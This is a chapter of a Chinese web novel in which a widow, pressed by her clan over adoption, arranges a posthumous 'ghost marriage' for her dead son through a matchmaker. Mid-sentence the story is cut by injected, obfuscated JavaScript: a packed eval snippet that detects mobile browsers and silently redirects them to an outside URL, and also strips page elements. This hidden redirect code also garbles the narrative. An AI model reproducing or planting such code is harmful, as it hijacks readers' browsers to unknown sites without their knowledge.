徐太大一时还不明白：“母亲这话是什么意思？” 她这段时日，实在是焦头烂额。 好不容易将儿子的丧礼办完，贺家族人便又上门，道是贺保柱给贺仲珩捧盆带孝，如今也该行过继之礼了。 徐氏实在不愿过继贺族长的孙子。 他那二儿子一看便不是什么良善人物，儿子还没有过继，便想着合家搬到贺宅。若真叫他一家子搬进来，自己哪里还有安生日子过？ 贺太太推拒了几次，只是那贺族长一家实在难缠得紧，三天两头上门来骚扰，贺太太实在无法，只能寻到娘家，问兄长和母亲的意见。 母亲杨老太太便给了她这个建议：“不若给仲珩寻个妻室，给你做个伴儿。也可照顾你起居。如此，你有人照应，也不必担心嗣子不孝。贺家那边，家中有未亡人，年纪轻轻，便是过继个子嗣，瓜田李下，终是不好。待你百年之后，便由她给仲珩寻个嗣子。你就拿此话推拒了便是。” 贺太太却觉得此举不妥：“仲珩已经不在，再给他寻个妻室，岂不是误了人家姑娘一生？” 杨老太太叹道：“你寻那贫苦人家的女儿，多给人家些钱财。待她进门，你好好待她便是。再者，若她将来想要嫁人，咱们也不拦着，由她嫁人，只是先借着这么个人，将贺家族人过继之事挡过去便罢。” 此事固然不够厚道，然而旁人家的女儿，又哪里有自家女儿来得重要。杨老太太丈夫过世，膝下唯有一子一女。如今女儿比自己还不如，她实不忍心看着女儿被贺家族人欺凌，故而出了此法。 一旁叶氏也劝贺太太：“妹妹，听母亲的。她老人家说的法子再妥当不过。再者，人家姑娘进了门，你好好待她，她的日子，过的只有比在娘家强的，好生养个几年，再给她找户好人家，又哪里是误她呢？ 有着母亲建议，嫂子力劝，贺太太终于答应了这个法子：“那成，我叫老刘去找找官媒，寻个合适的人家。” 刘妈妈听了贺太太的嘱咐，也觉得老太太出的这个主意好：“正是这个道理。咱们寻个年轻大姑娘过来，瞧那贺老三一家还有什么脸要搬过来！” 贺太太心中犹有顾虑，只是在娘家，对着大嫂不好说，此时对着刘妈妈，便道：“唉，我只怕贺族长要问，既有亲事，为什么从前不说，到时候，可要怎么回答？” 刘妈妈不以为然：“咱们自家的事，他一个外人，哪里管得了？要么说是从前定的亲，要么就说，夜里梦到咱们少爷，孤零零地难受，所以配个亲事，活着的时候侍奉婆母，待到百年之后，到地下与少爷团聚。他们若要问，就拿这话砸过去。咱们自家事，还真能叫他们给难住了？” 贺太太想想也是。贺族长能难为他家的，无非是嗣子一事。自家儿子要成亲，又关他族长何事。总先将这一关过了，拦住贺族长一心要过继孙子的盘算便是。 待媳妇进门之后，再慢慢寻访合适的嗣子。有了嗣子之后，若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17018721|192627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 媳妇有心再嫁，便给她寻户好人家，备上嫁妆，好生嫁出去。如此，既能应了眼前之急，又不耽误人家姑娘的终生。 于是终于下定决心：“那成，你明天去找几个媒人问下，叫她们去帮忙寻几个合适的人家。” 这事紧急，拖延不得。刘妈妈第二日便去寻媒人去了。她是个办事有成算的，先打听了有哪几家官媒口碑好，便只找这几家官媒。 先去找了一家，说了自己的条件，得了那媒婆允诺，刘妈妈便又去寻了第二家，这家官媒亦是姓刘，倒与刘妈妈是个本家。 一进去，便见那刘媒婆正跟人说话。那人当是刘媒婆的熟人，见她进来，跟刘媒婆打了招呼，便自避去了后堂。刘媒婆便笑着迎了上来：“这位姐姐怎么称呼？” 刘妈妈道：“我姓刘。” 刘媒婆便笑道：“巧了，我也姓刘。原来是本家，这可真是有缘份。” 便给刘妈妈让了座，又新沏了茶倒上，招呼好了，这才提起正事：“不知道姐姐大驾寒舍，可是有事吩咐？” 刘妈妈便道：“我是想托你寻个亲事。” 刘媒婆便露出笑脸，张嘴就欲道喜，谁料刘妈妈接下来便又道：“好叫你知道，咱们家少爷呢，已经不在了。” 刘媒婆的笑容便凝固在了脸上。 刘妈妈只当看不见，道：“唉，说起来也是没办法。咱们家里，没有个男丁，族里逼得紧，只要咱们太太过继。只是那过继的人家又着实不成样子。 太太没办法，便想着，给少爷寻个媳妇，抱着牌位成亲，如此，少爷便是不在，也算是成家有了娘子。待到将来有了合适的孩子，再去给咱们少爷过继个子嗣，延续香火。” 饶是刘媒婆做这一行多年，见多识广，这般事体还是第一次见到。她不由瞠目结舌道：“这，这只怕寻常姑娘不愿意呢……” 刘妈妈叹口气道：“这也自然。所以，我们也不挑人家。妹子只去寻那身家清白，过不下去日子的穷苦人家就行。” 这倒也是个法子。穷苦人家卖儿卖女都有的，如今也是卖女儿，只不过是名头好听些，是嫁人而已。 刘媒婆重新露出笑脸：“这么说来，倒也不是难事。我去帮姐姐打听一下。只请问下，姐姐府上何处？” 刘妈妈便说了自家来历。又扯了两句闲话，方告辞离去。 她这边一走，后头避开的樊妈妈才出来，啧啧道：“这老姐姐，瞧着也是官宦人家的体面管事。不想这样的人家，竟也有这样的难事。” 刘媒婆叹道：“要不说，家家都有难念的经呢。” 说话间又有人来，樊妈妈见刘鲤这里忙，便就要告辞：“方才说的两户人家，就劳烦刘妹子帮着打听一下。我下回再来寻你说话。” 刘鲤一口应下：“成，包在我身上。”